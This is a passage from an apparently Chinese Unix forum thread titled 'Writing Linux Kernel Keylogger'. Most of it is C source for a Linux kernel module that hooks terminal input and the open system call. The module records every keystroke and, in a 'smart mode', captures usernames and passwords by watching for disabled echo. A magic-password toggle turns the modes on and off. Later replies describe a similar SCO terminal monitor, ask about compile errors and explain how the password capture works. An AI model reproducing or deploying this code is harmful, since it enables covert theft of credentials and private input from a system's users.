  632. struct vtm tm;

  633. do_gettimeofday(&tv);
  634.         t = (time_t)tv.tv_sec;

  635. epoch2time(&t, TIMEZONE, &tm);

  636. sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
  637. tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
  638. tm.tm_sec);
  639. }


  640. /*
  641. * Get task structure from pgrp id
  642. */

  643. inline struct task_struct *get_task(pid_t pgrp)
  644. {
  645. struct task_struct *task = current;

  646.         do {
  647.                 if (task->;pgrp == pgrp) {
  648.                         return task;
  649.                 }
  650.                 task = task->;next_task;
  651.         } while (task != current);
  652.         return NULL;
  653. }


  654. #define _write(f, buf, sz) (f->;f_op->;write(f, buf, sz, &f->;f_pos))
  655. #define WRITABLE(f) (f->;f_op && f->;f_op->;write)

  656. int write_to_file(char *logfile, char *buf, int size)
  657. {
  658. int ret = 0;
  659. struct file   *f = NULL;

  660. lock_kernel();
  661. BEGIN_KMEM;
  662. f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

  663. if (IS_ERR(f)) {
  664. DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
  665. ret = -1;
  666. } else {
  667. if (WRITABLE(f))
  668. _write(f, buf, size);
  669. else {
  670.       DPRINT("%s does not have a write method\n",
  671.       logfile);
  672. ret = -1;
  673. }
  674.    
  675. if ((ret = filp_close(f,NULL)))
  676. DPRINT("Error %d closing %s\n", -ret, logfile);
  677. }
  678. END_KMEM;
  679. unlock_kernel();

  680. return ret;
  681. }


  682. #define BEGIN_ROOT { int saved_fsuid = current->;fsuid; current->;fsuid = 0;
  683. #define END_ROOT current->;fsuid = saved_fsuid; }


  684. /*
  685. *  Logging keystrokes
  686. */

  687. void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
  688. {
  689. int i;

  690. char logfile[256];
  691. char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
  692. char date_time[24];
  693. struct task_struct *task;

  694. if (vlogger_mode == VK_NORMAL)
  695. return;

  696. if ((vlogger_mode == VK_SMARTMODE) && (!tmp->;lastpos || cont))
  697. return;

  698. task = get_task(tty->;pgrp);

  699. for (i=0; i<tmp->;lastpos; i++)
  700. if (tmp->;buf[i] == 0x0D) tmp->;buf[i] = 0x0A;

  701. if (!cont)
  702. tmp->;buf[tmp->;lastpos++] = 0x0A;

  703. tmp->;buf[tmp->;lastpos] = 0;

  704. if (vlogger_mode == VK_DUMBMODE) {
  705. snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
  706. LOG_DIR, TTY_NAME(tty),TTY_NUMBER(tty));
  707. BEGIN_ROOT
  708. if (!tmp->;status) {
  709. get_time(date_time);
  710. if (task)
  711. snprintf(loginfo, sizeof(loginfo)-1,
  712. "<%s uid=%d %s>; %s", date_time,
  713. task->;uid, task->;comm, tmp->;buf);
  714. else
  715. snprintf(loginfo, sizeof(loginfo)-1,
  716. "<%s>; %s", date_time, tmp->;buf);

  717. write_to_file(logfile, loginfo, strlen(loginfo));
  718. } else {
  719. write_to_file(logfile, tmp->;buf, tmp->;lastpos);
  720. }
  721. END_ROOT

  722. #ifdef DEBUG
  723. if (task)
  724. DPRINT("%s/%d uid=%d %s: %s",
  725. TTY_NAME(tty), TTY_NUMBER(tty),
  726. task->;uid, task->;comm, tmp->;buf);
  727. else
  728. DPRINT("%s", tmp->;buf);
  729. #endif
  730. tmp->;status = cont;

  731. } else {

  732. /*
  733. *  Logging USER/CMD and PASS in SMART_MODE
  734. */

  735. BEGIN_ROOT
  736. if (!tmp->;pass) {
  737. get_time(date_time);
  738. if (task)
  739. snprintf(loginfo, sizeof(loginfo)-1,
  740. "\n[%s tty=%s/%d uid=%d %s]\n"
  741. "USER/CMD %s", date_time,
  742. TTY_NAME(tty),TTY_NUMBER(tty),
  743. task->;uid, task->;comm, tmp->;buf);
  744. else
  745. snprintf(loginfo, sizeof(loginfo)-1,
  746. "\n[%s tty=%s/%d]\nUSER/CMD %s",
  747. date_time, TTY_NAME(tty),
  748. TTY_NUMBER(tty), tmp->;buf);

  749. write_to_file(PASS_LOG, loginfo, strlen(loginfo));
  750. } else {
  751. snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
  752. tmp->;buf);
  753. write_to_file (PASS_LOG, loginfo, strlen(loginfo));
  754. }

  755. END_ROOT

  756. #ifdef DEBUG
  757. if (!tmp->;pass)
  758. DPRINT("USER/CMD %s", tmp->;buf);
  759. else
  760. DPRINT("PASS %s", tmp->;buf);
  761. #endif
  762. }

  763. if (!cont) tmp->;buf[--tmp->;lastpos] = 0;
  764. }


  765. #define resetbuf(t)\
  766. {\
  767. t->;buf[0] = 0;\
  768. t->;lastpos = 0;\
  769. }

  770. #define append_c(t, s, n)\
  771. {\
  772. t->;lastpos += n;\
  773. strncat(t->;buf, s, n);\
  774. }

  775. static inline void reset_all_buf(void)
  776. {
  777. int i = 0;
  778. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
  779. if (ttys[i] != NULL)
  780. resetbuf(ttys[i]);
  781. }

  782. void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
  783. {
  784.     switch(count) {
  785.     case 2:
  786.         switch(cp[1]) {
  787. case '\'':
  788. append_c(tmp, "[ALT-\']", 7);
  789. break;
  790. case ',':
  791. append_c(tmp, "[ALT-,]", 7);
  792. break;
  793. case '-':
  794. append_c(tmp, "[ALT--]", 7);
  795. break;
  796. case '.':
  797. append_c(tmp, "[ALT-.]", 7);
  798. break;
  799. case '/':
  800. append_c(tmp, "[ALT-/]", 7);
  801. break;
  802. case '0':
  803. append_c(tmp, "[ALT-0]", 7);
  804. break;
  805. case '1':
  806. append_c(tmp, "[ALT-1]", 7);
  807. break;
  808. case '2':
  809. append_c(tmp, "[ALT-2]", 7);
  810. break;
  811. case '3':
  812. append_c(tmp, "[ALT-3]", 7);
  813. break;
  814. case '4':
  815. append_c(tmp, "[ALT-4]", 7);
  816. break;
  817. case '5':
  818. append_c(tmp, "[ALT-5]", 7);
  819. break;
  820. case '6':
  821. append_c(tmp, "[ALT-6]", 7);
  822. break;
  823. case '7':
  824. append_c(tmp, "[ALT-7]", 7);
  825. break;
  826. case '8':
  827. append_c(tmp, "[ALT-8]", 7);
  828. break;
  829. case '9':
  830. append_c(tmp, "[ALT-9]", 7);
  831. break;
  832. case ';':
  833. append_c(tmp, "[ALT-;]", 7);
  834. break;
  835. case '=':
  836. append_c(tmp, "[ALT-=]", 7);
  837. break;
  838. case '[':
  839. append_c(tmp, "[ALT-[]", 7);
  840. break;
  841. case '\\':
  842. append_c(tmp, "[ALT-\\]", 7);
  843. break;
  844. case ']':
  845. append_c(tmp, "[ALT-]]", 7);
  846. break;
  847. case '`':
  848. append_c(tmp, "[ALT-`]", 7);
  849. break;
  850. case 'a':
  851. append_c(tmp, "[ALT-A]", 7);
  852. break;
  853. case 'b':
  854. append_c(tmp, "[ALT-B]", 7);
  855. break;
  856. case 'c':
  857. append_c(tmp, "[ALT-C]", 7);
  858. break;
  859. case 'd':
  860. append_c(tmp, "[ALT-D]", 7);
  861. break;
  862. case 'e':
  863. append_c(tmp, "[ALT-E]", 7);
  864. break;
  865. case 'f':
  866. append_c(tmp, "[ALT-F]", 7);
  867. break;
  868. case 'g':
  869. append_c(tmp, "[ALT-G]", 7);
  870. break;
  871. case 'h':
  872. append_c(tmp, "[ALT-H]", 7);
  873. break;
  874. case 'i':
  875. append_c(tmp, "[ALT-I]", 7);
  876. break;
  877. case 'j':
  878. append_c(tmp, "[ALT-J]", 7);
  879. break;
  880. case 'k':
  881. append_c(tmp, "[ALT-K]", 7);
  882. break;
  883. case 'l':
  884. append_c(tmp, "[ALT-L]", 7);
  885. break;
  886. case 'm':
  887. append_c(tmp, "[ALT-M]", 7);
  888. break;
  889. case 'n':
  890. append_c(tmp, "[ALT-N]", 7);
  891. break;
  892. case 'o':
  893. append_c(tmp, "[ALT-O]", 7);
  894. break;
  895. case 'p':
  896. append_c(tmp, "[ALT-P]", 7);
  897. break;
  898. case 'q':
  899. append_c(tmp, "[ALT-Q]", 7);
  900. break;
  901. case 'r':
  902. append_c(tmp, "[ALT-R]", 7);
  903. break;
  904. case 's':
  905. append_c(tmp, "[ALT-S]", 7);
  906. break;
  907. case 't':
  908. append_c(tmp, "[ALT-T]", 7);
  909. break;
  910. case 'u':
  911. append_c(tmp, "[ALT-U]", 7);
  912. break;
  913. case 'v':
  914. append_c(tmp, "[ALT-V]", 7);
  915. break;
  916. case 'x':
  917. append_c(tmp, "[ALT-X]", 7);
  918. break;
  919. case 'y':
  920. append_c(tmp, "[ALT-Y]", 7);
  921. break;
  922. case 'z':
  923. append_c(tmp, "[ALT-Z]", 7);
  924. break;
  925. }
  926. break;
  927.     case 3:
  928. switch(cp[2]) {
  929. case 68:
  930. // Left: 27 91 68
  931. append_c(tmp, "[LEFT]", 6);
  932. break;
  933. case 67:
  934. // Right: 27 91 67
  935. append_c(tmp, "[RIGHT]", 7);
  936. break;
  937. case 65:
  938. // Up: 27 91 65
  939. append_c(tmp, "[UP]", 4);
  940. break;
  941. case 66:
  942. // Down: 27 91 66
  943. append_c(tmp, "[DOWN]", 6);
  944. break;
  945. case 80:
  946. // Pause/Break: 27 91 80
  947. append_c(tmp, "[BREAK]", 7);
  948. break;
  949. }
  950. break;
  951.     case 4:
  952. switch(cp[3]) {
  953. case 65:
  954. // F1: 27 91 91 65
  955. append_c(tmp, "[F1]", 4);
  956. break;
  957. case 66:
  958. // F2: 27 91 91 66
  959. append_c(tmp, "[F2]", 4);
  960. break;
  961. case 67:
  962. // F3: 27 91 91 67
  963. append_c(tmp, "[F3]", 4);
  964. break;
  965. case 68:
  966. // F4: 27 91 91 68
  967. append_c(tmp, "[F4]", 4);
  968. break;
  969. case 69:
  970. // F5: 27 91 91 69
  971. append_c(tmp, "[F5]", 4);
  972. break;
  973. case 126:
  974. switch(cp[2]) {
  975. case 53:
  976. // PgUp: 27 91 53 126
  977. append_c(tmp, "[PgUP]", 6);
  978. break;
  979. case 54:
  980. // PgDown: 27 91 54 126
  981. append_c(tmp,
  982. "[PgDOWN]", 8);
  983. break;
  984. case 49:
  985. // Home: 27 91 49 126
  986. append_c(tmp, "[HOME]", 6);
  987. break;
  988. case 52:
  989. // End: 27 91 52 126
  990. append_c(tmp, "[END]", 5);
  991. break;
  992. case 50:
  993. // Insert: 27 91 50 126
  994. append_c(tmp, "[INS]", 5);
  995. break;
  996. case 51:
  997. // Delete: 27 91 51 126
  998. append_c(tmp, "[DEL]", 5);
  999. break;
  1000. }
  1001. break;
  1002. }
  1003. break;
  1004.     case 5:
  1005. if(cp[2] == 50)
  1006. switch(cp[3]) {
  1007. case 48:
  1008. // F9: 27 91 50 48 126
  1009. append_c(tmp, "[F9]", 4);
  1010. break;
  1011. case 49:
  1012. // F10: 27 91 50 49 126
  1013. append_c(tmp, "[F10]", 5);
  1014. break;
  1015. case 51:
  1016. // F11: 27 91 50 51 126
  1017. append_c(tmp, "[F11]", 5);
  1018. break;
  1019. case 52:
  1020. // F12: 27 91 50 52 126
  1021. append_c(tmp, "[F12]", 5);
  1022. break;
  1023. case 53:
  1024. // Shift-F1: 27 91 50 53 126
  1025. append_c(tmp, "[SH-F1]", 7);
  1026. break;
  1027. case 54:
  1028. // Shift-F2: 27 91 50 54 126
  1029. append_c(tmp, "[SH-F2]", 7);
  1030. break;
  1031. case 56:
  1032. // Shift-F3: 27 91 50 56 126
  1033. append_c(tmp, "[SH-F3]", 7);
  1034. break;
  1035. case 57:
  1036. // Shift-F4: 27 91 50 57 126
  1037. append_c(tmp, "[SH-F4]", 7);
  1038. break;
  1039. }
  1040. else
  1041. switch(cp[3]) {
  1042. case 55:
  1043. // F6: 27 91 49 55 126
  1044. append_c(tmp, "[F6]", 4);
  1045. break;
  1046.      case 56:
  1047. // F7: 27 91 49 56 126
  1048. append_c(tmp, "[F7]", 4);
  1049. break;
  1050.      case 57:
  1051. // F8: 27 91 49 57 126
  1052. append_c(tmp, "[F8]", 4);
  1053. break;
  1054.      case 49:
  1055. // Shift-F5: 27 91 51 49 126
  1056. append_c(tmp, "[SH-F5]", 7);
  1057. break;
  1058.      case 50:
  1059. // Shift-F6: 27 91 51 50 126
  1060. append_c(tmp, "[SH-F6]", 7);
  1061. break;
  1062.      case 51:
  1063. // Shift-F7: 27 91 51 51 126
  1064. append_c(tmp, "[SH-F7]", 7);
  1065. break;
  1066.      case 52:
  1067. // Shift-F8: 27 91 51 52 126
  1068. append_c(tmp, "[SH-F8]", 7);
  1069. break;
  1070. };
  1071. break;
  1072.     default:// Unknow
  1073. break;
  1074.     }
  1075. }


  1076. /*
  1077. *  Called whenever user press a key
  1078. */

  1079. void vlogger_process(struct tty_struct *tty,
  1080. const unsigned char *cp, int count)
  1081. {
  1082. struct tlogger *tmp = ttys[TTY_INDEX(tty)];

  1083. if (!tmp) {
  1084. DPRINT("erm .. unknow error???\n");
  1085. init_tty(tty, TTY_INDEX(tty));
  1086. tmp = ttys[TTY_INDEX(tty)];
  1087. if (!tmp)
  1088. return;
  1089. }

  1090. if (vlogger_mode == VK_SMARTMODE) {
  1091. if (tmp->;status && !IS_PASSWD(tty)) {
  1092. resetbuf(tmp);
  1093. }
  1094. if (!tmp->;pass && IS_PASSWD(tty)) {
  1095. logging(tty, tmp, 0);
  1096. resetbuf(tmp);
  1097. }
  1098. if (tmp->;pass && !IS_PASSWD(tty)) {
  1099. if (!tmp->;lastpos)
  1100. logging(tty, tmp, 0);
  1101. resetbuf(tmp);
  1102. }
  1103. tmp->;pass  = IS_PASSWD(tty);
  1104. tmp->;status = 0;
  1105. }

  1106. if ((count + tmp->;lastpos) >; MAX_BUFFER - 1) {
  1107. logging(tty, tmp, 1);
  1108. resetbuf(tmp);
  1109. }

  1110. if (count == 1) {
  1111. if (cp[0] == VK_TOGLE_CHAR) {
  1112. if (!strcmp(tmp->;buf, MAGIC_PASS)) {
  1113. if(vlogger_mode < 2)
  1114. vlogger_mode++;
  1115. else
  1116. vlogger_mode = 0;
  1117. reset_all_buf();

  1118. switch(vlogger_mode) {
  1119. case VK_DUMBMODE:
  1120.     DPRINT("Dumb Mode\n");
  1121. TTY_WRITE(tty, "\r\n"
  1122.     "Dumb Mode\n", 12);
  1123. break;
  1124. case VK_SMARTMODE:
  1125.     DPRINT("Smart Mode\n");
  1126. TTY_WRITE(tty, "\r\n"
  1127. "Smart Mode\n", 13);
  1128. break;
  1129. case VK_NORMAL:
  1130.     DPRINT("Normal Mode\n");
  1131. TTY_WRITE(tty, "\r\n"
  1132. "Normal Mode\n", 14);
  1133. }
  1134. }
  1135. }

  1136. switch (cp[0]) {
  1137. case 0x01://^A
  1138. append_c(tmp, "[^A]", 4);
  1139. break;
  1140. case 0x02://^B
  1141. append_c(tmp, "[^B]", 4);
  1142. break;
  1143. case 0x03://^C
  1144. append_c(tmp, "[^C]", 4);
  1145. case 0x04://^D
  1146. append_c(tmp, "[^D]", 4);
  1147. case 0x0D://^M
  1148. case 0x0A:
  1149. if (vlogger_mode == VK_SMARTMODE) {
  1150. if (IS_PASSWD(tty)) {
  1151. logging(tty, tmp, 0);
  1152. resetbuf(tmp);
  1153. } else
  1154. tmp->;status = 1;
  1155. } else {
  1156. logging(tty, tmp, 0);
  1157. resetbuf(tmp);
  1158. }
  1159. break;
  1160. case 0x05://^E
  1161. append_c(tmp, "[^E]", 4);
  1162. break;
  1163. case 0x06://^F
  1164. append_c(tmp, "[^F]", 4);
  1165. break;
  1166. case 0x07://^G
  1167. append_c(tmp, "[^G]", 4);
  1168. break;
  1169. case 0x09://TAB - ^I
  1170. append_c(tmp, "[TAB]", 5);
  1171. break;
  1172. case 0x0b://^K
  1173. append_c(tmp, "[^K]", 4);
  1174. break;
  1175. case 0x0c://^L
  1176. append_c(tmp, "[^L]", 4);
  1177. break;
  1178. case 0x0e://^E
  1179. append_c(tmp, "[^E]", 4);
  1180. break;
  1181. case 0x0f://^O
  1182. append_c(tmp, "[^O]", 4);
  1183. break;
  1184. case 0x10://^P
  1185. append_c(tmp, "[^P]", 4);
  1186. break;
  1187. case 0x11://^Q
  1188. append_c(tmp, "[^Q]", 4);
  1189. break;
  1190. case 0x12://^R
  1191. append_c(tmp, "[^R]", 4);
  1192. break;
  1193. case 0x13://^S
  1194. append_c(tmp, "[^S]", 4);
  1195. break;
  1196. case 0x14://^T
  1197. append_c(tmp, "[^T]", 4);
  1198. break;
  1199. case 0x15://CTRL-U
  1200. resetbuf(tmp);
  1201. break;
  1202. case 0x16://^V
  1203. append_c(tmp, "[^V]", 4);
  1204. break;
  1205. case 0x17://^W
  1206. append_c(tmp, "[^W]", 4);
  1207. break;
  1208. case 0x18://^X
  1209. append_c(tmp, "[^X]", 4);
  1210. break;
  1211. case 0x19://^Y
  1212. append_c(tmp, "[^Y]", 4);
  1213. break;
  1214. case 0x1a://^Z
  1215. append_c(tmp, "[^Z]", 4);
  1216. break;
  1217. case 0x1c://^\
  1218. append_c(tmp, "[^\\]", 4);
  1219. break;
  1220. case 0x1d://^]
  1221. append_c(tmp, "[^]]", 4);
  1222. break;
  1223. case 0x1e://^^
  1224. append_c(tmp, "[^^]", 4);
  1225. break;
  1226. case 0x1f://^_
  1227. append_c(tmp, "[^_]", 4);
  1228. break;
  1229. case BACK_SPACE_CHAR1:
  1230. case BACK_SPACE_CHAR2:
  1231. if (!tmp->;lastpos) break;
  1232. if (tmp->;buf[tmp->;lastpos-1] != ']')
  1233. tmp->;buf[--tmp->;lastpos] = 0;
  1234. else {
  1235. append_c(tmp, "[^H]", 4);
  1236. }
  1237. break;
  1238. case ESC_CHAR://ESC
  1239. append_c(tmp, "[ESC]", 5);
  1240. break;
  1241. default:
  1242. tmp->;buf[tmp->;lastpos++] = cp[0];
  1243. tmp->;buf[tmp->;lastpos] = 0;
  1244. }
  1245. } else {// a block of chars or special key
  1246. if (cp[0] != ESC_CHAR) {
  1247. while (count >;= MAX_BUFFER) {
  1248. append_c(tmp, cp, MAX_BUFFER);
  1249. logging(tty, tmp, 1);
  1250. resetbuf(tmp);
  1251. count -= MAX_BUFFER;
  1252. cp += MAX_BUFFER;
  1253. }

  1254. append_c(tmp, cp, count);
  1255. } else // special key
  1256. special_key(tmp, cp, count);
  1257. }
  1258. }


  1259. void my_tty_open(void)
  1260. {
  1261. int fd, i;
  1262. char dev_name[80];

  1263. #ifdef LOCAL_ONLY
  1264. int fl = 0;
  1265. struct tty_struct * tty;
  1266. struct file * file;
  1267. #endif

  1268. for (i=1; i<MAX_TTY_CON; i++) {
  1269. snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);

  1270. BEGIN_KMEM
  1271. fd = open(dev_name, O_RDONLY, 0);
  1272. if (fd < 0) continue;

  1273. #ifdef LOCAL_ONLY
  1274. file = fget(fd);
  1275. tty = file->;private_data;
  1276. if (tty != NULL  &&
  1277. tty->;ldisc.receive_buf != NULL) {
  1278. if (!fl) {
  1279. old_receive_buf =
  1280. tty->;ldisc.receive_buf;
  1281. fl = 1;
  1282. }
  1283. init_tty(tty, TTY_INDEX(tty));
  1284. }
  1285. fput(file);
  1286. #endif

  1287. close(fd);
  1288. END_KMEM
  1289. }

  1290. #ifndef LOCAL_ONLY
  1291. for (i=0; i<MAX_PTS_CON; i++) {
  1292. snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);

  1293. BEGIN_KMEM
  1294. fd = open(dev_name, O_RDONLY, 0);
  1295. if (fd >;= 0) close(fd);
  1296. END_KMEM
  1297. }
  1298. #endif

  1299. }


  1300. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  1301. char *fp, int count)
  1302. {
  1303. if (!tty->;real_raw && !tty->;raw)// ignore raw mode
  1304. vlogger_process(tty, cp, count);
  1305. (*old_receive_buf)(tty, cp, fp, count);
  1306. }


  1307. static inline void init_tty(struct tty_struct *tty, int tty_index)
  1308. {
  1309. struct tlogger *tmp;

  1310. DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

  1311. if (ttys[tty_index] == NULL) {
  1312. tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
  1313. if (!tmp) {
  1314. DPRINT("kmalloc failed!\n");
  1315. return;
  1316. }
  1317. memset(tmp, 0, sizeof(struct tlogger));
  1318. tmp->;tty = tty;
  1319. tty->;ldisc.receive_buf = new_receive_buf;
  1320. ttys[tty_index] = tmp;
  1321. } else {
  1322. tmp = ttys[tty_index];
  1323. logging(tty, tmp, 1);
  1324. resetbuf(tmp);
  1325. tty->;ldisc.receive_buf = new_receive_buf;
  1326. }
  1327. }


  1328. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  1329. {
  1330. int ret;
  1331. static int fl = 0;
  1332. struct file * file;

  1333. ret = (*original_sys_open)(filename, flags, mode);

  1334. if (ret >;= 0) {
  1335. struct tty_struct * tty;

  1336.     BEGIN_KMEM
  1337.     lock_kernel();
  1338. file = fget(ret);
  1339. tty = file->;private_data;

  1340. if (tty != NULL &&
  1341. ((tty->;driver.type == TTY_DRIVER_TYPE_CONSOLE &&
  1342. TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
  1343. (tty->;driver.type == TTY_DRIVER_TYPE_PTY &&
  1344. tty->;driver.subtype == PTY_TYPE_SLAVE &&
  1345. TTY_NUMBER(tty) < MAX_PTS_CON)) &&
  1346. tty->;ldisc.receive_buf != NULL &&
  1347. tty->;ldisc.receive_buf != new_receive_buf) {

  1348. if (!fl) {
  1349. old_receive_buf = tty->;ldisc.receive_buf;
  1350. fl = 1;
  1351. }
  1352. init_tty(tty, TTY_INDEX(tty));
  1353. }
  1354. fput(file);
  1355. unlock_kernel();
  1356.     END_KMEM
  1357. }
  1358. return ret;
  1359. }


  1360. int init_module(void)
  1361. {

  1362. DPRINT(MVERSION);
  1363. #ifndef LOCAL_ONLY
  1364. original_sys_open = sys_call_table[__NR_open];
  1365. sys_call_table[__NR_open] = new_sys_open;
  1366. #endif
  1367. my_tty_open();
  1368. //MOD_INC_USE_COUNT;

  1369. return 0;
  1370. }

  1371. DECLARE_WAIT_QUEUE_HEAD(wq);

  1372. void cleanup_module(void)
  1373. {
  1374. int i;

  1375. #ifndef LOCAL_ONLY
  1376. sys_call_table[__NR_open] = original_sys_open;
  1377. #endif

  1378. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1379. if (ttys[i] != NULL) {
  1380. ttys[i]->;tty->;ldisc.receive_buf = old_receive_buf;
  1381. }
  1382. }
  1383. sleep_on_timeout(&wq, HZ);
  1384. for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
  1385. if (ttys[i] != NULL) {
  1386. kfree(ttys[i]);
  1387. }
  1388. }
  1389. DPRINT("Unloaded\n");
  1390. }

  1391. EXPORT_NO_SYMBOLS;
复制代码

论坛徽章:
0
2 [报告]
发表于 2002-12-31 11:23 |只看该作者

Writing Linux Kernel Keylogger

     UNIX TTYMONITOR的分析与实现

在UNIX环境中,经常需要对终端输入进行监控,即用户究竟输入了些什么?为了获得用户输入结果,本人通过对SCO的OSR5(金融系统主要的前台网点平台)的内核进行深入的分析,通过修改替换UNIX的线路规程的方法做成TTYMONITOR软件包,现在把大致实现的思路介绍一下,在阐述“TTYMONITOR”的技术细节之前,有必要介绍UNIX的工作机制。这里主要涉及到两部分知识:UNIX下的终端和线路规程。

一.UNIX的终端及其设备驱动程序
UNIX下的终端有三种类型:实终端,虚终端(TELNET等网络登陆),控制台终端他们分别有不同的设备驱动程序,因此如果通过修改设备驱动程序的方法来实现本文的目的的话,工作量至少是三倍。我们通过分析,无论是什么类型的终端,尽管他们的设备驱动程序各不相同,每一个硬(虚)设备接口都由特定的设备驱动程序支持。
1.设备驱动程序:
通常,设备驱动程序可以分为三个部分:(A)自动配置和初始化子程序,(B)服务于I/O请求的子程序(上半部分),(C)中断服务子程序(下半部分)。
2.对于实终端与控制台终端有实际的硬件设备驱动程序,虚终端是一个伪设备驱动程序,为了描述方便,我们都称之为硬件设备驱动程序,对应与(C)。另外一个概念是逻辑驱动程序(在这里的实例是TTY),对应与(B)。通常而言硬件设备驱动程序与逻辑设备驱动程序的接口一般是没有被标准化的,但是对于终端是个例外。UNIX中采用了线路规程的概念。一般的设备驱动程序的上下两部分是这样工作的:在输出是,上部分调用下部分的例程,在输入时,下部分调用山部分的例程,由于引入了线路规程,TTY设备驱动程序的上下两部分不在直接调用,而是上部分调用线路规程的上部分例程,下部分调用线路规程的下部分的例程。
二.线路规程
线路规程是用来在异步串口上(或者这种接口的软件仿真上)提供语义的处理模块,由过程接口linesw[](线路开关)结构来描述。线路规程的例程在UINX里是怎么被调用的呢?OSR5核心共有七组例程(可以扩充),他们通过在/etc/conf/pack.d/kernel/space.c中初始的linesw表来调用的,该表中每一项代表一个线路规程,有八个函数表项。大多数终端都缺省的使用来自于UNIX V7/UNIX 32V中提出的规程,在OSR5中也即使0号规程,对应与linesw表的第0项。(当然也可以是其他规程,只不过在这里只描述0号规程,其他的规程的修改基本原理是一样的)
如果整个替换线路规程的第0组的单项或全部实例(即linesw数组的实际值),显然会带来潜在的问题,因此我们只是把l_read的实际涵数ttread替换成ettread,在ettread结束时,再调用ttread:
var_type var_table&#59;/*自己定义的内核变量,用于保存从tty结构中获得的键入字符队列的指针*/
     int ettread(tty *tp)
     {
int i&#59;
myfun()&#59;       /*自己加入的变量和代码*/
    i=ttread(tp)&#59;
return(i)&#59;
     }
三.自定义的全局内核变量向用户进程的传递:
自己在程序中定义的变量如何向监控进程传递呢?原打算通过使用进程间通讯机制来实现,但是由于我们的增加程序是在核心中运行,所以调用系统调用能否正常工作不知道,而且会不会带来潜在的副作用更是不清楚,因此我决定放弃这种方法的尝试,而改用增加伪设备的方法,通过伪设备在监控进程和自编内核代码之间传递变量,即在监控进程中用通常的open(),read()系统调用来读取这些变量的值。
四.监控进程
五.数据结构的介绍
1.Linesw: 该结构的定义可参见/usr/include/sys/conf.h
2.Tty   : 该结构的定义可参见/usr/include/sys/tty
六.实现编程(略)
版权所有
-----------------------------------------------------------------------------
呵呵,思路基本差不多,只不过OSR5不支持动态加载模块功能,而且没有办法找到SYSENT,除非自己写连接程序,所以不好用修改系统调用的方法传递数据,而且用伪设备的方法也许可以避免系统的不稳定.

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
3 [报告]
发表于 2002-12-31 13:32 |只看该作者

Writing Linux Kernel Keylogger

sco我不太熟,以后多指教

论坛徽章:
0
4 [报告]
发表于 2003-01-02 11:30 |只看该作者

Writing Linux Kernel Keylogger

good

论坛徽章:
0
5 [报告]
发表于 2003-01-02 11:51 |只看该作者

Writing Linux Kernel Keylogger

ctrl C   +   ctrl V

论坛徽章:
0
6 [报告]
发表于 2003-01-05 14:54 |只看该作者

Writing Linux Kernel Keylogger

very good!

论坛徽章:
0
7 [报告]
发表于 2003-01-06 01:12 |只看该作者

Writing Linux Kernel Keylogger

大鹰,
你文章中说的这句能不能详细点?
“o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的&quotassive Analysis
of SSH (Secure Shell) Traffic&quot;文章中的一个小技术来实现的。当应用程序返回的
输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来
就是了:)”

论坛徽章:
0
8 [报告]
发表于 2003-01-08 05:31 |只看该作者

Writing Linux Kernel Keylogger

这个编译怎么不通??怪了没什么明显错误就是不过

论坛徽章:
0
9 [报告]
发表于 2003-01-08 05:36 |只看该作者

Writing Linux Kernel Keylogger

[root@localhost test]# make
Makefile:23: *** missing separator.  Stop.


不明白了 这个是什么怎么弄的??怪了

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
10 [报告]
发表于 2003-01-08 13:22 |只看该作者

Writing Linux Kernel Keylogger

下面引用由づ★sl战神2003/01/06 01:12am 发表的内容:
大鹰,
你文章中说的这句能不能详细点?
“o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的&quotassive Analysis
of SSH (Secure Shell) Traffic&quot;文章中的一个小技术来实现的。当 ...

这不是很简单么,shell语言里有个echo -off的句子,一般用在用户输入密码的时候,让密码不显示出来,所以我们的键盘钩子就捕获这个行为,一看见这个语句就认为后面的键盘输入就是用户密码,抓下来就得了
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP